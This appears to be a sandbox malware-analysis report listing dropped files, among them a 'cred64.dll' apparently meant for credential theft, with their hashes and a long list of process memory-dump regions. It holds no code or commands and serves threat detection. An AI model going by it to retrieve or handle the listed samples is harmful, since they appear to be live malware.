C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll

Filesize
126KB

MD5
e92a6a3a013a87cf57f3753d77a1b9c9

SHA1
01366b392cb71fed71f5bc1cd09e0f8c76657519

SHA256
42a247529de63a9b43768ac145e38fe9da3adc8b2eed558e3ce11e5cd8bbc0e5

SHA512
c59bab1bef238927fe8102cca6080f7b62e945254668201d0eaa49a64c6969e1f8eef65b2fea56d341035f0995b5c24907487351e4cde2b6baa5d49f5a192b57

Download Submit
C:\Users\Admin\AppData\Roaming\eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe

Filesize
837KB

MD5
e620507c28834b337195ca9d35c4a79b

SHA1
5b80356e3066da91a8193493c9fbfc37e259c226

SHA256
703e1fb4de14b29eca7245d72f7ccf27e1cebb068f6381dc28c64661a4b5058b

SHA512
123b25991a0951cdbd5a9e912db373c6924f465f3332d73c0a7ca0e3520aca84a6eefc1e2b0696f2e326f177a166c3c1a7e25fc8c2594fac5ac1961af58bb2a5

Download Submit
C:\Users\Admin\AppData\Roaming\eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe

Filesize
837KB

MD5
e620507c28834b337195ca9d35c4a79b

SHA1
5b80356e3066da91a8193493c9fbfc37e259c226

SHA256
703e1fb4de14b29eca7245d72f7ccf27e1cebb068f6381dc28c64661a4b5058b

SHA512
123b25991a0951cdbd5a9e912db373c6924f465f3332d73c0a7ca0e3520aca84a6eefc1e2b0696f2e326f177a166c3c1a7e25fc8c2594fac5ac1961af58bb2a5

Download Submit
\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll

Filesize
126KB

MD5
e92a6a3a013a87cf57f3753d77a1b9c9

SHA1
01366b392cb71fed71f5bc1cd09e0f8c76657519

SHA256
42a247529de63a9b43768ac145e38fe9da3adc8b2eed558e3ce11e5cd8bbc0e5

SHA512
c59bab1bef238927fe8102cca6080f7b62e945254668201d0eaa49a64c6969e1f8eef65b2fea56d341035f0995b5c24907487351e4cde2b6baa5d49f5a192b57

Download Submit
memory/800-603-0x0000000000B60000-0x0000000000B65000-memory.dmp

Filesize
20KB

Download
memory/800-647-0x0000000000B50000-0x0000000000B59000-memory.dmp

Filesize
36KB

Download
memory/1124-353-0x0000000008B70000-0x0000000008B82000-memory.dmp

Filesize
72KB

Download
memory/1124-341-0x00000000090B0000-0x00000000096B6000-memory.dmp

Filesize
6.0MB

Download
memory/1124-1645-0x000000000A4A0000-0x000000000A516000-memory.dmp

Filesize
472KB

Download
memory/1124-204-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-201-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-202-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-199-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-198-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-197-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-1648-0x000000000A280000-0x000000000A2D0000-memory.dmp

Filesize
320KB

Download
memory/1124-196-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-643-0x0000000008FA0000-0x0000000009006000-memory.dmp

Filesize
408KB

Download
memory/1124-187-0x0000000000420000-0x0000000000448000-memory.dmp

Filesize
160KB

Download
memory/1124-602-0x0000000009BC0000-0x000000000A0BE000-memory.dmp

Filesize
5.0MB

Download
memory/1124-589-0x0000000008F00000-0x0000000008F92000-memory.dmp

Filesize
584KB

Download
memory/1124-376-0x0000000008D30000-0x0000000008D7B000-memory.dmp

Filesize
300KB

Download
memory/1124-194-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1124-344-0x0000000008C20000-0x0000000008D2A000-memory.dmp

Filesize
1.0MB

Download
memory/1124-185-0x0000000000422000-0x0000000000443000-memory.dmp

Filesize
132KB

Download
memory/1124-360-0x0000000008BD0000-0x0000000008C0E000-memory.dmp

Filesize
248KB

Download
memory/1424-165-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-172-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-163-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-176-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-174-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-170-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-178-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-195-0x0000000001370000-0x0000000001429000-memory.dmp

Filesize
740KB

Download
memory/1424-164-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-162-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-181-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-179-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-183-0x0000000001370000-0x0000000001429000-memory.dmp

Filesize
740KB

Download
memory/1424-161-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1424-160-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/1436-833-0x0000000000F80000-0x0000000000F86000-memory.dmp

Filesize
24KB

Download
memory/1436-415-0x0000000000F70000-0x0000000000F7C000-memory.dmp

Filesize
48KB

Download
memory/1436-410-0x0000000000F80000-0x0000000000F86000-memory.dmp

Filesize
24KB

Download
memory/1936-192-0x00000000005E0000-0x0000000000700000-memory.dmp

Filesize
1.1MB

Download
memory/2012-1186-0x0000000000A50000-0x0000000000A78000-memory.dmp

Filesize
160KB

Download
memory/2072-818-0x0000000000AB0000-0x0000000000AB6000-memory.dmp

Filesize
24KB

Download
memory/2072-1169-0x0000000000AB0000-0x0000000000AB6000-memory.dmp

Filesize
24KB

Download
memory/2072-785-0x0000000000AA0000-0x0000000000AAB000-memory.dmp

Filesize
44KB

Download
memory/2148-1088-0x0000000003360000-0x0000000003382000-memory.dmp

Filesize
136KB

Download
memory/2148-749-0x0000000003360000-0x0000000003382000-memory.dmp

Filesize
136KB

Download
memory/2148-781-0x0000000000ED0000-0x0000000000EF7000-memory.dmp

Filesize
156KB

Download
memory/2244-1128-0x0000000000D10000-0x0000000000D15000-memory.dmp

Filesize
20KB

Download
memory/2244-783-0x0000000000D10000-0x0000000000D15000-memory.dmp

Filesize
20KB

Download
memory/2244-816-0x0000000000D00000-0x0000000000D09000-memory.dmp

Filesize
36KB

Download
memory/2532-539-0x0000000000A70000-0x0000000000A7B000-memory.dmp

Filesize
44KB

Download
memory/2532-503-0x0000000000A80000-0x0000000000A87000-memory.dmp

Filesize
28KB

Download
memory/2680-1429-0x0000000002F73000-0x0000000002F91000-memory.dmp

Filesize
120KB

Download
memory/2680-980-0x0000000002F73000-0x0000000002F91000-memory.dmp

Filesize
120KB

Download
memory/2680-1044-0x0000000000400000-0x0000000002C3D000-memory.dmp

Filesize
40.2MB

Download
memory/2680-1487-0x0000000000400000-0x0000000002C3D000-memory.dmp

Filesize
40.2MB

Download
memory/2704-135-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-148-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-142-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-121-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-140-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-157-0x0000000000400000-0x0000000002C35000-memory.dmp

Filesize
40.2MB

Download
memory/2704-139-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-138-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-122-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-137-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-143-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-156-0x0000000000400000-0x0000000002C35000-memory.dmp

Filesize
40.2MB

Download
memory/2704-136-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-120-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-133-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-144-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-145-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-146-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-147-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-155-0x00000000001E0000-0x00000000001E9000-memory.dmp

Filesize
36KB

Download
memory/2704-132-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-131-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-154-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-152-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-153-0x0000000002C40000-0x0000000002D8A000-memory.dmp

Filesize
1.3MB

Download
memory/2704-151-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-130-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-141-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-129-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-150-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-123-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-128-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-127-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-149-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-126-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-125-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/2704-124-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/3260-550-0x0000000000BA0000-0x0000000000BAD000-memory.dmp

Filesize
52KB

Download
memory/3260-544-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

Filesize
28KB

Download
memory/3260-939-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

Filesize
28KB

Download
memory/3656-354-0x00000000012A0000-0x00000000012AF000-memory.dmp

Filesize
60KB

Download
memory/3656-743-0x00000000012B0000-0x00000000012B9000-memory.dmp

Filesize
36KB

Download
memory/3656-350-0x00000000012B0000-0x00000000012B9000-memory.dmp

Filesize
36KB

Download
memory/3760-1706-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/3760-1751-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/3928-220-0x0000000000750000-0x0000000000826000-memory.dmp

Filesize
856KB

Download
memory/4076-242-0x0000000000D10000-0x00000000014F9000-memory.dmp

Filesize
7.9MB

Download
memory/4076-596-0x0000000000D10000-0x00000000014F9000-memory.dmp

Filesize
7.9MB

Download
memory/4232-351-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/4232-827-0x000000000CCD0000-0x000000000D1FC000-memory.dmp

Filesize
5.2MB

Download
memory/4232-825-0x000000000BF70000-0x000000000C132000-memory.dmp

Filesize
1.8MB

Download
memory/4800-817-0x00000000005F0000-0x00000000005FB000-memory.dmp

Filesize
44KB

Download
memory/4800-815-0x0000000000800000-0x0000000000808000-memory.dmp

Filesize
32KB

Download
memory/4800-1167-0x0000000000800000-0x0000000000808000-memory.dmp

Filesize
32KB

Download
memory/4988-694-0x0000000002C40000-0x0000000002CEE000-memory.dmp

Filesize
696KB

Download
memory/4988-699-0x0000000002F70000-0x0000000002FAA000-memory.dmp

Filesize
232KB

Download
memory/4988-779-0x0000000000400000-0x0000000002C3D000-memory.dmp

Filesize
40.2MB

Download
memory/4988-793-0x0000000002F70000-0x0000000002FAA000-memory.dmp

Filesize
232KB

Download
memory/4988-808-0x0000000000400000-0x0000000002C3D000-memory.dmp

Filesize
40.2MB

Download
memory/5048-180-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/5048-177-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/5048-245-0x0000000000820000-0x00000000008D8000-memory.dmp

Filesize
736KB

Download
memory/5048-175-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/5048-173-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/5048-171-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download
memory/5048-250-0x0000000000820000-0x00000000008D8000-memory.dmp

Filesize
736KB

Download
memory/5048-169-0x00000000773D0000-0x000000007755E000-memory.dmp

Filesize
1.6MB

Download